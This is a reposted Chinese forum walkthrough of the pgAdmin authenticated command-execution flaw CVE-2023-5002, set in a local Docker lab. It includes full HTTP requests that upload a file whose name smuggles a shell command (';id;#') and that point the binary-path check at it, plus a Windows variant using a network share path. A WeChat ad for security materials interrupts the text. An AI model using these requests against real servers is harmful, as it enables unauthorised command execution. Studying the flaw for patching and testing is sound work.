ToB企服应用市场:ToB评测及商务社交产业平台

标题: pgAdmin后台命令实行漏洞(CVE-2023-5002) [打印本页]

作者: 温锦文欧普厨电及净水器总代理    时间: 2024-6-24 14:36
标题: pgAdmin后台命令实行漏洞(CVE-2023-5002)
[img=720,340.297]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629395.png[/img]

我们可以看到针对于漏洞 CVE-2022-4223,官方做了一定的修复步伐。
web\pgadmin\misc__init__.py#validate_binary_path
[img=720,343.297]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629396.png[/img]

首先是添加了 @login_required​ 进行权限校验。在 Flask 框架中,@login_required​ 装饰器通常与 Flask-Login 扩展一起使用。Flask-Login 提供了简单而强盛的用户身份验证功能,其中包罗 @login_required​ 装饰器用于保护需要登任命户才能访问的视图。当在一个函数、方法或类上应用 @login_required​ 装饰器时,它会检查当前用户是否已经登录。如果用户未登录,则会将其重定向到登录页面或返回相应的错误信息,而不允许访问被装饰的代码块。
添加了权限校验之后,这个漏洞就从未授权的前台漏洞,转换为需要登录的后台漏洞了。
[img=720,332.16333622936577]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629398.png[/img]

同时对传入的路径进行校验,通过 os.path.exists​ 来判断是否存在。
linux

我们发现会对传入的路径进行校验的,那么在linux 下,我们可以通过在服务器上上传一个包含恶意文件名的文件,来进行绕过。
可以从 docker hub 上搜索 docker 资源
https://hub.docker.com/search?q=pgadmin
  1. docker pull dpage/pgadmin4:7.6
  2. docker run -e 'PGADMIN_DEFAULT_EMAIL=test@example.com' -e 'PGADMIN_DEFAULT_PASSWORD=123456'  -p 5050:80 --name pgadmin -d  docker.io/dpage/pgadmin4:7.6
复制代码
[img=720,217.46799431009958]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629399.png[/img]

[img=720,289.81846882399367]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629400.png[/img]

登录后台工具->存储管理器
[img=720,332.0470588235294]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629401.png[/img]

上传一个包含恶意文件名的文件
  1. POST /file_manager/filemanager/3395111/ HTTP/1.1
  2. Host: 127.0.0.1:5050
  3. Content-Length: 491
  4. X-pgA-CSRFToken: ImE3NDYzOGJhOWYxNDIzY2QzZDUwNTI3MWMzOGU4NGNhMmNhNzkzYTQi.Zi8ctA._DuZsbw2SE05kwuVkqgG7Y-KsjE
  5. Accept: application/json, text/plain, */*
  6. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
  7. Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryihDQGI2B09k9alLf
  8. Origin: http://127.0.0.1:5050
  9. Sec-Fetch-Site: same-origin
  10. Sec-Fetch-Mode: cors
  11. Sec-Fetch-Dest: empty
  12. Referer: http://127.0.0.1:5050/browser/
  13. Accept-Encoding: gzip, deflate
  14. Accept-Language: zh-CN,zh;q=0.9
  15. Cookie: pga4_session=2397843f-fbe6-4481-947e-e30f73c6a0ee!GPxXiZuTJzjVn+sk6vhlLNAmjhQr6xIY0yumFSIGBAQ=; PGADMIN_LANGUAGE=zh
  16. Connection: close
  17. ------WebKitFormBoundaryihDQGI2B09k9alLf
  18. Content-Disposition: form-data; name="newfile"; filename="";id;#"
  19. Content-Type: text/plain
  20. 123
  21. ------WebKitFormBoundaryihDQGI2B09k9alLf
  22. Content-Disposition: form-data; name="mode"
  23. add
  24. ------WebKitFormBoundaryihDQGI2B09k9alLf
  25. Content-Disposition: form-data; name="currentpath"
  26. /
  27. ------WebKitFormBoundaryihDQGI2B09k9alLf
  28. Content-Disposition: form-data; name="storage_folder"
  29. my_storage
  30. ------WebKitFormBoundaryihDQGI2B09k9alLf--
复制代码
[img=720,323.1274433150899]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629402.png[/img]

同时可以得到在文件在服务器上的路径
[img=720,63.325301204819276]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629403.png[/img]

打开文件->配置
[img=720,246.50943396226415]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629404.png[/img]

路径->二进制路径->填入恶意文件的位置
[img=720,322.36686390532543]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629405.png[/img]

点击运行
[img=720,286.9831306394665]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629406.png[/img]

[img=720,313.6941176470588]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629407.png[/img]

windows

下载软件并进行安装
https://ftp.postgresql.org/pub/pgadmin/pgadmin4/v6.21/windows/pgadmin4-6.21-x64.exe
需要把C:\Users\username\AppData\Local\Programs\pgAdmin 4\v5\web 下的config.py 修改 DEFAULT_SERVER \= '0.0.0.0'
[img=720,171.65853658536585]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629408.png[/img]

因为windows 无法利用拼接来实行命令,所以照旧要想办法乐成加载文件才行。
  1. import os
  2. binary_path = "\\\\192.168.222.128\\TMP\"
  3. UTILITIES_ARRAY = ['pg_dump', 'pg_dumpall', 'pg_restore', 'psql']
  4. for utility in UTILITIES_ARRAY:
  5.    full_path = os.path.abspath(
  6.        os.path.join(binary_path, (utility if os.name != 'nt' else (utility + '.exe')))
  7.    )
  8.    print(full_path)
  9.    print(os.path.exists(full_path))
复制代码
[img=720,186.49434571890146]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629409.png[/img]

windows 不能再利用共享资源来实现,所以也构造一个exe 上传并实行。
【----帮助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析陈诉
 ④ 150+网安攻防实战技能电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战本事手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
编译恶意的exe文件并放到上传
和linux启动有所不同
[img=720,275.2112676056338]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629410.png[/img]

Tools->import
[img=720,297.7847604084839]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629411.png[/img]

[img=720,299.4590356722854]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629412.png[/img]

[img=720,317.9623824451411]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629413.png[/img]

乐成将恶意文件上传到服务器上。
同时构造请求数据包
  1. POST /misc/validate_binary_path HTTP/1.1
  2. Host: 192.168.222.145:5050
  3. X-pgA-CSRFToken: IjU4MzQ0OTM2Yzc3YzM5ZmE5Yjg0MjRhODVlNzkzZjM5MTViZDBmNzki.Zi9GcQ.pGwCjLqPq3fNzohIRNerpipIRK8
  4. Accept: application/json, text/plain, */*
  5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
  6. Origin: http://192.168.222.145:5050
  7. Referer: http://192.168.222.145:5050/browser/
  8. Accept-Encoding: gzip, deflate
  9. Accept-Language: zh-CN,zh;q=0.9
  10. Cookie: pga4_session=e6f521fc-e9f4-4c58-bf0a-e9abafb4ceb5!JG7fBzRT4FkugKb175t9vWdZpKmAtnbo0d/oPzcAbFI=; PGADMIN_LANGUAGE=en
  11. Connection: close
  12. Content-Type: application/json
  13. Content-Length: 39
  14. {"utility_path":"C:\\Users\\whippet\"}
复制代码
[img=720,391.1943793911007]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629414.gif[/img]

大概是因为本地测试的原因,后来尝试的时候发现,本地去调用共享文件时,可以接收到请求,但是很快就断开毗连,所以末了的结果是 False。
[img=720,421.57068062827227]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629415.png[/img]

[img=720,391.1943793911007]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629416.gif[/img]

所以环境为windwos 时可以利用共享资源来绕过 os.path.exists()的检测。
更多网安技能的在线实操训练,请点击这里>>
  

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4